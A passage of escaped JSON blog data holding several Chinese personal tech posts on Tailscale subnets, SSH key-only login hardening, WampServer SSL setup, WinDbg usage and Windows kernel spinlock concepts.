src=\"/images/18775026/3336551-20250316144101014-2039001128.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316144219715-435392381.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18775026/3336551-20250316144226816-1614744162.jpg\"\u003e\u003cbr\u003e\n100亿%的人都选择考虑从tail内访问tail外的子网。\u003cbr\u003e\n怎么没人考虑过从tail外的子网访问tail内的功能呢，如果实现的话，家里NAS开着tail，然后在外带着一个手机，就可以经过手机访问NAS。。。。。\u003cbr\u003e\n因为流量消耗的问题？\u003cbr\u003e\n算了，翻不到解决方法，略微有些失望，但是也算是一半一半能访问吧。\u003cbr\u003e\n不对，有没有可能，在linux上，就算不设置subnet，流量经过linux并且允许转发的话，自动就会链接到tail内，所以subnet只是为了让tail内识别tail外才用到的？\u003cbr\u003e\n而安卓因为没有root，所以无法实现这一点？\u003cbr\u003e\n有可能，但是不确定。\u003c/p\u003e","title":"Tailscale subnet-on-android"},{"content":"前言 随着我服务器上Alist资源的增多，服务器【本身】这个存放着Alist内所有密码（虽然都是随机生成的）的存在就显得非常的脆弱。\n尽管我的ssh密码选择了随机生成并交给电脑记住，但是服务器被攻破导致全部密码我都得改一遍的后果我承担不起。\n另注：因为上传到云盘的重要资料我都进行了加密上传，因此我倒不是很担心云盘内的资料泄露，只是改密码太麻烦了而已。\nSSH仅密钥登录设置 对于windows来说，没有ssh-copy-id这个工具。\n但是没关系，git bash有啊。\n复制粘贴文件还是太麻烦了，有工具用工具，这才是人类啊（雾）\n玩git的应该都不缺一个ssh公私钥对，但是为了博客完整，还是将代码贴在这里吧：\n# 生成 ssh-keygen -t rsa -b 4096 # 复制公私钥 ssh-copy-id -i ~/.ssh/id_rsa.pub username@server_ip # 修改配置项，命令下面四行是配置内容。 sudo nano /etc/ssh/sshd_config # ===== 配置内容 ===== # 禁用密码登录 PasswordAuthentication no # 禁用 root 用户直接登录（可选，但推荐） PermitRootLogin no # 确保以下选项已设置 PubkeyAuthentication yes AuthorizedKeysFile .ssh/authorized_keys # ===== 配置内容 ===== # 重启 sudo systemctl restart sshd # 测试 ssh username@server_ip 如果只是想要代码，上面已经是完整的代码了，拿去就可以用。\n如果想要接着看配置步骤，就接着往下读：\n在哪里打开bash都无所谓\n涂得糊的看不清了，不过也没办法，总之就是这样，理论上说这里应该需要输入一次密码，但是自动跳过了，看来我之前已经做过了这一步，上传过公钥认证了。\n那么接下来应该关闭密码认证就好了。\n拉到最底下就能看到了\n翻阅整篇配置项，没有找到认证配置\n但是找到了Include，看看inlude了个啥\n没找到内容，无妨，就这样吧。（重启服务的图没截进来）\n好，完事。\n模仿攻击者 ssh -o PreferredAuthentications=password -o PubkeyAuthentication=no username@server_ip 好，被秒拒了，安全性+1\n有本事把我私钥爆了，不过做得到的话，那要翻天了\n","permalink":"https://t1mmoc.github.io/posts/18773483/","summary":"\u003ch1 id=\"前言\"\u003e前言\u003c/h1\u003e\n\u003cp\u003e随着我服务器上Alist资源的增多，服务器【本身】这个存放着Alist内所有密码（虽然都是随机生成的）的存在就显得非常的脆弱。\u003cbr\u003e\n尽管我的ssh密码选择了随机生成并交给电脑记住，但是服务器被攻破导致全部密码我都得改一遍的后果我承担不起。\u003cbr\u003e\n另注：因为上传到云盘的重要资料我都进行了加密上传，因此我倒不是很担心云盘内的资料泄露，只是改密码太\u003cstrong\u003e麻烦\u003c/strong\u003e了而已。\u003c/p\u003e\n\u003ch1 id=\"ssh仅密钥登录设置\"\u003eSSH仅密钥登录设置\u003c/h1\u003e\n\u003cp\u003e对于windows来说，没有ssh-copy-id这个工具。\u003cbr\u003e\n但是没关系，git bash有啊。\u003cbr\u003e\n复制粘贴文件还是太麻烦了，有工具用工具，这才是人类啊（雾）\u003cbr\u003e\n玩git的应该都不缺一个ssh公私钥对，但是为了博客完整，还是将代码贴在这里吧：\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e# 生成\nssh-keygen -t rsa -b 4096\n\n# 复制公私钥\nssh-copy-id -i ~/.ssh/id_rsa.pub username@server_ip\n\n# 修改配置项，命令下面四行是配置内容。\nsudo nano /etc/ssh/sshd_config\n\n# ===== 配置内容 =====\n# 禁用密码登录\nPasswordAuthentication no\n# 禁用 root 用户直接登录（可选，但推荐）\nPermitRootLogin no\n# 确保以下选项已设置\nPubkeyAuthentication yes\nAuthorizedKeysFile .ssh/authorized_keys\n# ===== 配置内容 =====\n\n# 重启\nsudo systemctl restart sshd\n\n# 测试\nssh username@server_ip\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e如果只是想要代码，上面已经是完整的代码了，拿去就可以用。\u003cbr\u003e\n如果想要接着看配置步骤，就接着往下读：\u003cbr\u003e\n在哪里打开bash都无所谓\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18773483/3336551-20250315123451969-1043966148.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18773483/3336551-20250315123742164-1369995908.jpg\"\u003e\u003cbr\u003e\n涂得糊的看不清了，不过也没办法，总之就是这样，理论上说这里应该需要输入一次密码，但是自动跳过了，看来我之前已经做过了这一步，上传过公钥认证了。\u003cbr\u003e\n那么接下来应该关闭密码认证就好了。\u003cbr\u003e\n拉到最底下就能看到了\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18773483/3336551-20250315124055285-1882721211.jpg\"\u003e\u003c/p\u003e","title":"服务器SSH 仅密钥登录"},{"content":"生成自签名证书略过了 直接开始 配置 Apache\n编辑 httpd.conf 文件：\n打开 WampServer 安装目录下的 bin/apache/apache版本号/conf/httpd.conf 文件。\n取消以下行的注释（删除行首的 #）： LoadModule ssl_module modules/mod_ssl.so Include conf/extra/httpd-ssl.conf LoadModule socache_shmcb_module modules/mod_socache_shmcb.so 编辑 httpd-ssl.conf 文件：\n打开 conf/extra/httpd-ssl.conf 文件。\n修改以下参数以指向您生成的证书文件：\nSSLCertificateFile \u0026#34;${SRVROOT}/conf/server.crt\u0026#34; SSLCertificateKeyFile \u0026#34;${SRVROOT}/conf/server.key\u0026#34; 放的位置是这里。\n确保 DocumentRoot 和 ServerName 设置为您网站的根目录和域名（如 localhost）。\n4. 重启 WampServer\n完成上述配置后，重启 WampServer 以使更改生效。\n忘记了 我的Alist占用了443端口，那我搞https的意义何在？\n8443端口https？\n试试看。\n","permalink":"https://t1mmoc.github.io/posts/18765053/","summary":"\u003ch1 id=\"生成自签名证书略过了\"\u003e生成自签名证书略过了\u003c/h1\u003e\n\u003ch1 id=\"直接开始\"\u003e直接开始\u003c/h1\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003e配置 Apache\u003cbr\u003e\n编辑 httpd.conf 文件：\u003cbr\u003e\n打开 WampServer 安装目录下的 bin/apache/apache版本号/conf/httpd.conf 文件。\u003cbr\u003e\n取消以下行的注释（删除行首的 #）：\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eLoadModule ssl_module modules/mod_ssl.so\nInclude conf/extra/httpd-ssl.conf\nLoadModule socache_shmcb_module modules/mod_socache_shmcb.so\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e编辑 httpd-ssl.conf 文件：\u003cbr\u003e\n打开 conf/extra/httpd-ssl.conf 文件。\u003cbr\u003e\n修改以下参数以指向您生成的证书文件：\u003c/p\u003e","title":"Wamp SSL配置"},{"content":"下载与安装 在微软商店中找到Windbg即可。\n这里是拼网速的时间，校园网可能有帮助。\n在等下载的这段时间里面我也看了一些博客，大概了解了一下windbg的用法。\n不过怎么说还是得在虚拟机也下载一个，总是不能在实体机调试的。\n在Layout里面修改为Disassembly，这下有点od的样子了。\n不过快捷键有点出入，还需要学习一下。\nF5：运行\nF11：步入\nF10：步过\nShift+F11：执行到返回\nF9: 下断\n设置内可以修改为暗色模式，不过暗色模式总感觉什么配色都不太舒服。\n并不重要的碎碎念 除了自带快照和TTD以外，倒没有给我特别大的惊喜，调试内核程序大概是目前最好的，只不过目前我也没有什么需要调试的内核样本，以后再玩吧。\n不过接下来。。。\n进虚拟机玩玩。\nHello world 在虚拟机的下载有点太久了，还是回到实体机调试一下helloworld试试。\n这儿有个坑：直接把exe拖进去的意思是“以dump方式打开”，无法调试\n这大概是严谨吧。避免直接执行可执行程序。\n不过我不需要这一行为。算了。\n注意到下面两种打开方式是不同的。\n这一个是不需要加0x的，对我来说是个好消息。\n不过ctrl+g的使用是不行的。\n感觉不太习惯，得再翻翻博客看看。\n快速命令： g 运行 t 单步步入 p 单步步过 r 查看和修改寄存器 对于习惯gcd调试的人应该不错。\n伪寄存器 含义 $ea 调试目标所执行上一条指令的有效地址 $ea2 调试目标所执行上一条指令的第二个有效地址 $exp 表达式评估器所评估的上一条表达式 $ra 当前函数的返回地址 $eip 指令指针寄存器 $eventip 当前调试事件发生时的指令指针 $previp 上一事件的指令指针 $relip 与当前事件关联的指令指针 $scopeip 当前上下文的指令指针 $exentry 当前进程的入口地址 $retreg 首要的函数返回值寄存器 $retreg64 64位格式的首要函数返回寄存器 $csp 栈顶指针ESP $p 上一个内存显示命令所打印的第一个值 $proc 当前进程EPROCESS结构的指针 $thread 当前线程ETHREAD结构的指针 $peb 当前进程的进程环境块(PEB)的地址 $teb 当前线程的线程环境块(TEB)地址 $tpid 拥有当前线程的进程ID(PID) $tid 当前线程的线程ID $bpx X号断点的地址 $frame 当前栈帧的序号 $dbgtime 当前时间 $callret 使用.call命令调用的上一个函数的返回值 $ptrsize 调试目标所在系统的指针类型宽度 $pagesize 调试目标所在的系统的内存页字节数 好像有什么不对，这里竟然没有提醒是个messagebox，难道是symbol缺失吗\n鼠标的【回翻页键】和esc键都没办法倒退上一条代码，jmp一跳就没影了。\n双击或者enter都没办法进入call的内容，也没有跳转线提示。\n有点难受。\n重载程序断点被清理了，更难受了。\n找一下设置断点保存地的方法。。。\nhttps://cloud.tencent.com/developer/ask/sof/108255784\n好的，心死了，什么时候x64dbg可以调试内核程序了跟我说一声（躺）\n转头一看，虚拟机里面的微软商店还在更新。\n算了，也别更新了，真难用吧。\n","permalink":"https://t1mmoc.github.io/posts/18761810/","summary":"\u003ch1 id=\"下载与安装\"\u003e下载与安装\u003c/h1\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310082848021-56218967.jpg\"\u003e\u003cbr\u003e\n在微软商店中找到Windbg即可。\u003cbr\u003e\n这里是拼网速的时间，校园网可能有帮助。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310083718581-549290175.jpg\"\u003e\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310083746779-1630021066.jpg\"\u003e\u003cbr\u003e\n在等下载的这段时间里面我也看了一些博客，大概了解了一下windbg的用法。\u003cbr\u003e\n不过怎么说还是得在虚拟机也下载一个，总是不能在实体机调试的。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310084733801-770712849.jpg\"\u003e\u003cbr\u003e\n在Layout里面修改为Disassembly，这下有点od的样子了。\u003cbr\u003e\n不过快捷键有点出入，还需要学习一下。\u003cbr\u003e\nF5：运行\u003cbr\u003e\nF11：步入\u003cbr\u003e\nF10：步过\u003cbr\u003e\nShift+F11：执行到返回\u003cbr\u003e\nF9: 下断\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310085159346-1093803121.jpg\"\u003e\u003cbr\u003e\n设置内可以修改为暗色模式，不过暗色模式总感觉什么配色都不太舒服。\u003c/p\u003e\n\u003ch1 id=\"并不重要的碎碎念\"\u003e并不重要的碎碎念\u003c/h1\u003e\n\u003cp\u003e除了自带快照和\u003ca href=\"https://learn.microsoft.com/zh-cn/windows-hardware/drivers/debuggercmds/time-travel-debugging-overview\"\u003eTTD\u003c/a\u003e以外，倒没有给我特别大的惊喜，调试内核程序大概是目前最好的，只不过目前我也没有什么需要调试的内核样本，以后再玩吧。\u003c/p\u003e\n\u003cp\u003e不过接下来。。。\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"/images/18761810/3336551-20250310085438356-1199730184.jpg\"\u003e\u003cbr\u003e\n进虚拟机玩玩。\u003c/p\u003e\n\u003ch1 id=\"hello-world\"\u003eHello world\u003c/h1\u003e\n\u003cp\u003e在虚拟机的下载有点太久了，还是回到实体机调试一下helloworld试试。\u003c/p\u003e","title":"Windbg初见"},{"content":"一点定义 作业（job） 是由执行体支持的一种内核对象，它能够将一个或多个进程视为一个整体来进行管理和控制。管理程序借助 Windows API，能够对作业所使用的系统资源（包括 CPU 或内存）的诸多限制进行控制，比如用户模式 CPU 时间的限制、进程的处理器亲和性、工作集的最大值与最小值、虚拟内存的使用限制等。\n迁程（fiber） 是一种用户线程，对于内核来说是不可见的，是由 kernel32.dll 来实现的。应用程序可以在一个线程环境中创建多个迁程，并且可以手动控制这些迁程的执行。迁程不会自动执行，应用程序需要明确地选择某个迁程来执行。一旦迁程开始运行，它会一直运行，直到它退出，或者它显式地切换到另一个迁程。\n目前没有看到这俩的用处，先记录下来，像这种定义却没有实际接触的东西可不好背，记下来方便以后回顾\n同步、自旋锁 Windows根据执行环境中的IRQL大于APC_LEVEL 或者等于PASSIVE_LEVEL，将同步机制分为“不依赖线程调度的同步机制”和“基于线程调度的同步机制”。\n不依赖线程调度的同步机制主要是在IRQL的高优先级下执行的，通常用于中断处理程序和内核模式代码中，以确保在处理中断或执行关键内核代码时，不会被其他线程打断。常见的不依赖线程调度的同步机制包括：\n自旋锁（Spin Lock）：自旋锁用于在多个线程之间互斥的访问共享资源，本质上是一种忙等待（busy-wait），意思是线程会一直自旋（忙等待）直到锁可用为止，而不会被挂起等待。常使用在高IRQL下，因为此时是不允许切换线程的，使用自旋锁可以确保关键代码不会被其他线程打断。一些自旋锁扩展：执行体自旋锁（支持共享和独占的语义）、排队自旋锁（queued spin lock）和栈内排队自旋锁（in-stack queued spin lock）。\n中断服务例程（ISR）：ISR用于响应硬件中断，当硬件设备触发中断时，操作系统会立即执行ISR来处理中断。ISR运行在IRQL的高优先级下，不允许进行线程调度，以确保快速响应中断。\n延迟过程调用（Deferred Procedure Call，DPC）：DPC用于延迟执行一些代码块或处理程序，常与中断处理有关。当硬件设备触发中断时，操作系统会将中断服务例程（ISR） 用于快速响应中断，但有时需要执行一些耗时的操作，例如数据传输或资源释放，这时就会使用DPC来延迟执行这些操作。\n另一种基于线程调度的同步机制：当一个线程的执行条件不满足时，该线程进入等待状态，系统将控制权交由其他满足执行条件但没有得到处理器资源的线程；以后，当该线程的执行条件满足时，它又有机会继续执行。这里的执行条件正是Windows提供的线程同步机制中的语义。Windows定义了统一的机制来支持各种线程同步原语：分发器对象（dispatcher object），其数据结构头部为DISAPATCH_HEADER。\n自旋锁为什么不能挂起等待？这样不是会消耗更少资源吗 自旋锁不能挂起等待的原因主要与它的设计目标和运行环境（高IRQL）有关。以下是详细的解释：\n高IRQL环境的限制\n在高IRQL（中断请求级别）下，线程调度是被禁止的。这是因为高IRQL通常用于处理中断或关键的内核操作，这些操作需要快速完成，不能被其他线程打断。如果在高IRQL下允许线程挂起等待，会导致以下问题：\n中断处理延迟：如果线程在高IRQL下挂起等待锁，其他中断可能会被延迟处理，影响系统的实时性和响应性。\n调度复杂性：高IRQL下不允许线程调度，因此挂起等待机制无法在这种环境下工作。 自旋锁的设计目标\n自旋锁的设计目标是快速获取和释放锁，适用于保护短时间的临界区。它的特点包括：\n快速获取：自旋锁的获取和释放操作非常简单，通常只需要几条指令。这使得它在高IRQL下能够快速完成锁的获取和释放，不会引入额外的调度开销。\n忙等待：自旋锁通过忙等待（busy-wait）的方式等待锁可用。虽然这种方式会消耗CPU资源，但由于锁的持有时间通常很短，这种开销是可以接受的。 为什么不能挂起等待\n如果自旋锁采用挂起等待的方式，会有以下问题：\n调度开销：挂起等待需要操作系统进行线程调度，这会引入额外的上下文切换开销。在高IRQL下，这种开销是不可接受的，因为高IRQL的目的是快速处理中断或关键操作。\n实时性问题：挂起等待会导致线程在高IRQL下被挂起，这会延迟其他中断的处理。例如，如果一个线程在高IRQL下挂起等待锁，其他中断可能会被延迟处理，从而影响系统的实时性和响应性。\n锁的持有时间：自旋锁通常用于保护短时间的临界区。如果锁的持有时间很短，忙等待的开销相对较小，而挂起等待的开销则可能更大。例如，如果一个锁只被持有几微秒，忙等待可能只需要几十个CPU周期，而挂起等待可能需要几百个CPU周期。 资源消耗问题\n虽然忙等待会消耗CPU资源，但在高IRQL下，这种消耗是可以接受的。原因如下：\n锁的持有时间短：自旋锁通常用于保护短时间的临界区，锁的持有时间很短，忙等待的开销相对较小。\n高IRQL的特殊性：高IRQL下不允许线程调度，因此挂起等待机制无法在这种环境下工作。忙等待虽然会消耗CPU资源，但不会引入额外的调度开销。 其他同步机制的对比\n互斥体（Mutex）：互斥体支持挂起等待，但只能在低IRQL下使用。互斥体适用于保护长时间的临界区，其获取和释放操作相对复杂，需要进行线程调度。\n信号量（Semaphore）：信号量也支持挂起等待，适用于线程间的同步，但同样只能在低IRQL下使用。\n总结\n自旋锁不能挂起等待的原因是：\n高IRQL环境的限制：高IRQL下不允许线程调度，挂起等待机制无法在这种环境下工作。\n设计目标：自旋锁用于保护短时间的临界区，忙等待的开销相对较小，而挂起等待会引入额外的调度开销，影响系统的实时性和响应性。\n资源消耗：虽然忙等待会消耗CPU资源，但在锁的持有时间很短的情况下，这种开销是可以接受的。\n因此，自旋锁的设计是为了在高IRQL下快速获取和释放锁，确保系统的实时性和响应性。 自旋锁的详细使用例子 自旋锁是一种用于多线程环境下的同步机制，主要用于保护短时间的临界区。它通过忙等待（busy-wait）的方式等待锁可用，适用于高IRQL（中断请求级别）环境。以下是自旋锁的详细使用例子，包括在内核模式下的具体实现和应用场景。\n自旋锁的基本概念\n自旋锁是一种轻量级的同步机制，适用于保护短时间的临界区。它的特点包括：\n忙等待：线程会一直等待锁可用，而不是被挂起。\n快速获取和释放：锁的获取和释放操作非常简单，通常只需要几条指令。\n适用于高IRQL：在高IRQL下，线程调度是被禁止的，自旋锁通过忙等待确保锁的获取和释放不会引入额外的调度开销。 自旋锁的使用场景\n自旋锁通常用于以下场景：\n内核数据结构的保护：保护内核数据结构，如队列、链表等。\n中断处理程序（ISR）和延迟过程调用（DPC）：在ISR和DPC中使用，确保在高IRQL下不会被其他线程打断。 自旋锁的实现\n在Windows内核模式下，自旋锁通过KSPIN_LOCK数据结构实现。以下是一个简单的例子，展示如何在内核模式下使用自旋锁。\n3.1 定义自旋锁 #include \u0026lt;ntifs.h\u0026gt; KSPIN_LOCK MySpinLock; 3.2 初始化自旋锁\n在驱动程序加载时初始化自旋锁：\nNTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // 初始化自旋锁 KeInitializeSpinLock(\u0026amp;MySpinLock); // 其他初始化代码 return STATUS_SUCCESS; } 3.3 获取和释放自旋锁\n在需要保护的临界区中，使用KeAcquireSpinLock和KeReleaseSpinLock来获取和释放自旋锁。这两个函数会自动提升IRQL到DISPATCH_LEVEL，确保在高IRQL下不会被其他线程打断。\nvoid CriticalSectionFunction() { KIRQL OldIrql; // 获取自旋锁，提升IRQL到DISPATCH_LEVEL KeAcquireSpinLock(\u0026amp;MySpinLock, \u0026amp;OldIrql); // 临界区代码 // 例如，访问共享资源 // ... // 释放自旋锁，恢复原来的IRQL KeReleaseSpinLock(\u0026amp;MySpinLock, OldIrql); } 自旋锁的使用例子\n以下是一个完整的例子，展示如何在内核模式下使用自旋锁保护一个简单的链表。\n4.1 定义链表结构 typedef struct _MY_LIST_ENTRY { struct _MY_LIST_ENTRY* Next; struct _MY_LIST_ENTRY* Prev; ULONG Data; } MY_LIST_ENTRY, *PMY_LIST_ENTRY; MY_LIST_ENTRY MyListHead; KSPIN_LOCK MySpinLock; 4.2 初始化链表和自旋锁\nNTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { // 初始化链表头 MyListHead.Next = \u0026amp;MyListHead; MyListHead.Prev = \u0026amp;MyListHead; // 初始化自旋锁 KeInitializeSpinLock(\u0026amp;MySpinLock); // 其他初始化代码 return STATUS_SUCCESS; } 4.3 插入链表节点\nvoid InsertListEntry(PMY_LIST_ENTRY ListHead, PMY_LIST_ENTRY Entry) { KIRQL OldIrql; // 获取自旋锁，提升IRQL到DISPATCH_LEVEL KeAcquireSpinLock(\u0026amp;MySpinLock, \u0026amp;OldIrql); // 插入链表节点 Entry-\u0026gt;Next = ListHead-\u0026gt;Next; Entry-\u0026gt;Prev = ListHead; ListHead-\u0026gt;Next-\u0026gt;Prev = Entry; ListHead-\u0026gt;Next = Entry; // 释放自旋锁，恢复原来的IRQL KeReleaseSpinLock(\u0026amp;MySpinLock, OldIrql); } 4.4 删除链表节点\nvoid RemoveListEntry(PMY_LIST_ENTRY Entry) { KIRQL OldIrql; // 获取自旋锁，提升IRQL到DISPATCH_LEVEL KeAcquireSpinLock(\u0026amp;MySpinLock, \u0026amp;OldIrql); // 删除链表节点 Entry-\u0026gt;Prev-\u0026gt;Next = Entry-\u0026gt;Next; Entry-\u0026gt;Next-\u0026gt;Prev = Entry-\u0026gt;Prev; // 释放自旋锁，恢复原来的IRQL KeReleaseSpinLock(\u0026amp;MySpinLock, OldIrql); } 4.5 遍历链表\nvoid TraverseList(PMY_LIST_ENTRY ListHead) { KIRQL OldIrql; PMY_LIST_ENTRY Entry; // 获取自旋锁，提升IRQL到DISPATCH_LEVEL KeAcquireSpinLock(\u0026amp;MySpinLock, \u0026amp;OldIrql); // 遍历链表 Entry = ListHead-\u0026gt;Next; while (Entry != ListHead) { DbgPrint(\u0026#34;Data: %d\\n\u0026#34;, Entry-\u0026gt;Data); Entry = Entry-\u0026gt;Next; } // 释放自旋锁，恢复原来的IRQL KeReleaseSpinLock(\u0026amp;MySpinLock, OldIrql); } 注意事项\n锁的持有时间：自旋锁适用于保护短时间的临界区。如果临界区代码执行时间过长，会导致CPU资源浪费，建议使用其他同步机制，如互斥体。\nIRQL级别：在高IRQL下，线程调度是被禁止的，因此自旋锁不会引入额外的调度开销。\n死锁问题：在使用自旋锁时，要避免死锁问题。例如，不要在持有自旋锁的情况下调用可能阻塞的函数。 总结\n自旋锁是一种轻量级的同步机制，适用于高IRQL环境。通过忙等待的方式，自旋锁能够快速获取和释放锁，确保在高IRQL下不会被其他线程打断。在内核模式下，自旋锁常用于保护内核数据结构和中断处理程序中的临界区 我在你给出的代码中只看到了普通的锁机制，为什么它被成为“自旋”？ 你提出了一个非常好的问题！“自旋锁”（Spin Lock）之所以被称为“自旋”，是因为它的核心机制是忙等待（busy-waiting），而不是线程挂起等待。这种忙等待的过程就像线程在“原地打转”，等待锁变为可用状态，因此得名“自旋锁”。\n自旋锁的核心机制：忙等待\n自旋锁的核心思想是：\n尝试获取锁：当一个线程尝试获取自旋锁时，它会检查锁的状态。\n忙等待：如果锁已经被其他线程占用，当前线程不会被挂起，而是进入一个循环，不断检查锁的状态，直到锁变为可用。\n获取锁：一旦锁变为可用，当前线程立即获取锁，并进入临界区。\n释放锁：线程完成临界区操作后，释放锁，其他线程可以继续尝试获取锁。\n这种机制的关键在于线程不会被挂起，而是通过忙等待来获取锁。这种设计在高IRQL（中断请求级别）下非常有用，因为高IRQL下不允许线程调度。\n为什么叫“自旋”？\n“自旋”这个术语形象地描述了线程在等待锁时的行为。线程在等待锁的过程中，会不断检查锁的状态，就像在原地打转一样。这种忙等待的方式虽然会消耗CPU资源，但在锁的持有时间很短的情况下，这种开销是可以接受的。\n示例代码中的自旋逻辑\n在Windows内核模式下，自旋锁的实现和使用是通过内核提供的函数来完成的。虽然我们没有直接看到“自旋”的代码，但这些函数内部实现了忙等待的逻辑。例如：\nvoid CriticalSectionFunction() { KIRQL OldIrql; // 获取自旋锁，提升IRQL到DISPATCH_LEVEL KeAcquireSpinLock(\u0026amp;MySpinLock, \u0026amp;OldIrql); // 临界区代码 // 例如，访问共享资源 // ... // 释放自旋锁，恢复原来的IRQL KeReleaseSpinLock(\u0026amp;MySpinLock, OldIrql); } 在KeAcquireSpinLock函数内部，如果锁已经被占用，它会进入一个循环，不断检查锁的状态，直到锁变为可用。这个循环就是“自旋”的具体实现。\n自旋锁的内部实现\n虽然我们通常不会直接看到自旋锁的内部实现，但可以简单了解一下它的原理。以下是一个简化的伪代码，展示自旋锁的忙等待逻辑：\ntypedef struct _KSPIN_LOCK { volatile LONG Lock; } KSPIN_LOCK; void KeInitializeSpinLock(KSPIN_LOCK* SpinLock) { SpinLock-\u0026gt;Lock = 0; } void KeAcquireSpinLock(KSPIN_LOCK* SpinLock, KIRQL* OldIrql) { // 提升IRQL到DISPATCH_LEVEL *OldIrql = KeRaiseIrql(DISPATCH_LEVEL); // 忙等待获取锁 while (InterlockedExchange(\u0026amp;SpinLock-\u0026gt;Lock, 1) != 0) { // 锁被占用，继续等待 } } void KeReleaseSpinLock(KSPIN_LOCK* SpinLock, KIRQL OldIrql) { // 释放锁 InterlockedExchange(\u0026amp;SpinLock-\u0026gt;Lock, 0); // 恢复原来的IRQL KeLowerIrql(OldIrql); } 在这个伪代码中：\nKeAcquireSpinLock通过InterlockedExchange尝试获取锁。如果锁已经被占用，它会进入一个循环，不断检查锁的状态，直到锁变为可用。\nKeReleaseSpinLock通过InterlockedExchange释放锁。\n总结\n自旋锁被称为“自旋”，是因为它的核心机制是忙等待，线程在等待锁时会不断检查锁的状态，就像在原地打转一样。这种设计虽然会消耗CPU资源，但在锁的持有时间很短的情况下，这种开销是可以接受的，尤其是在高IRQL环境下，忙等待可以避免引入额外的调度开销。\n自旋锁的使用基于进程还是线程还是系统？这样的while是否会造成两个进程/线程同时进入互斥区域？ 自旋锁的使用基于线程\n自旋锁的作用范围是线程级别的，而不是进程级别或系统级别。自旋锁主要用于保护共享资源，确保在同一时刻只有一个线程可以访问该资源。它通过忙等待的方式实现互斥，防止多个线程同时进入临界区。\n关于while循环和互斥性\n你提到的while循环是自旋锁实现忙等待的核心部分。虽然看起来线程会不断检查锁的状态，但自旋锁的机制确保了同一时刻只有一个线程可以进入临界区。以下是详细的解释：\n自旋锁的互斥机制\n自旋锁通过原子操作（如InterlockedExchange）来确保互斥性。以下是关键点：\n1.1 原子操作\n自旋锁的获取和释放操作是原子的，这意味着这些操作在硬件级别上是不可分割的。例如，InterlockedExchange函数会原子性地交换两个值，并返回旧值。这种原子性确保了多个线程在尝试获取锁时不会发生冲突。\n1.2 锁的状态检查\n当一个线程尝试获取锁时，它会调用InterlockedExchange函数。如果锁已经被占用（即锁的状态为1），InterlockedExchange会返回1，表示锁不可用。线程会进入一个循环，不断检查锁的状态，直到锁变为可用（即锁的状态为0）。\n1.3 锁的释放\n当持有锁的线程完成临界区操作后，它会调用InterlockedExchange将锁的状态设置为0，表示锁已经释放。此时，其他等待的线程可以获取锁。 防止多个线程同时进入临界区\n自旋锁的机制确保了同一时刻只有一个线程可以进入临界区。以下是具体过程：\n2.1 获取锁\n假设线程A和线程B同时尝试获取锁：\n线程A调用InterlockedExchange，发现锁的状态为0，成功获取锁，将锁的状态设置为1。\n线程B调用InterlockedExchange，发现锁的状态为1，表示锁已被占用，进入忙等待循环。 示例代码（笔者懒得复制了，反正都是给以后的自己看的）\n以下是一个简化的自旋锁实现，展示如何通过原子操作实现互斥： typedef struct _KSPIN_LOCK { volatile LONG Lock; } KSPIN_LOCK; void KeInitializeSpinLock(KSPIN_LOCK* SpinLock) { SpinLock-\u0026gt;Lock = 0; } void KeAcquireSpinLock(KSPIN_LOCK* SpinLock) { while (InterlockedExchange(\u0026amp;SpinLock-\u0026gt;Lock, 1) != 0) { // 锁被占用，继续等待 } } void KeReleaseSpinLock(KSPIN_LOCK* SpinLock) { InterlockedExchange(\u0026amp;SpinLock-\u0026gt;Lock, 0); } 总结\n自旋锁的作用范围是线程级别的，用于保护共享资源，确保同一时刻只有一个线程可以访问该资源。\n自旋锁通过原子操作实现互斥，确保多个线程在尝试获取锁时不会发生冲突。\n忙等待循环不会导致多个线程同时进入临界区，因为锁的获取和释放操作是原子的，确保了互斥性。\n通过这种方式，自旋锁能够有效地保护临界区，防止多个线程同时访问共享资源。 “原子的”这个操作是受到操作系统支持还是受到硬件支持？ “原子的”（Atomic）操作是指在执行过程中不会被中断的操作。这种操作要么完全完成，要么完全不发生，中间状态不会被其他线程或进程观察到。原子操作的实现可以依赖于操作系统，也可以依赖于硬件支持。在自旋锁的实现中，原子操作通常是通过硬件支持的指令来实现的。\n硬件支持的原子操作\n在现代计算机系统中，硬件提供了许多原子操作指令，这些指令可以直接在CPU级别上执行，确保操作的原子性。这些指令通常包括：\ncmpxchg（Compare and Exchange）：比较并交换操作。\nxchg（Exchange）：交换操作。\nlock前缀：用于确保多核处理器上的操作是原子的。\n这些指令由CPU直接支持，确保在多核处理器环境下，操作不会被中断。例如，InterlockedExchange函数在Windows内核中通常通过硬件指令实现。\n示例：InterlockedExchange的硬件实现\n在x86架构中，InterlockedExchange可以通过xchg指令实现： xchg eax, [memory_address] 这条指令会将eax寄存器的值与内存地址[memory_address]中的值交换，并且这个操作是原子的。即使在多核处理器环境下，这条指令也能确保操作的原子性。\n2. 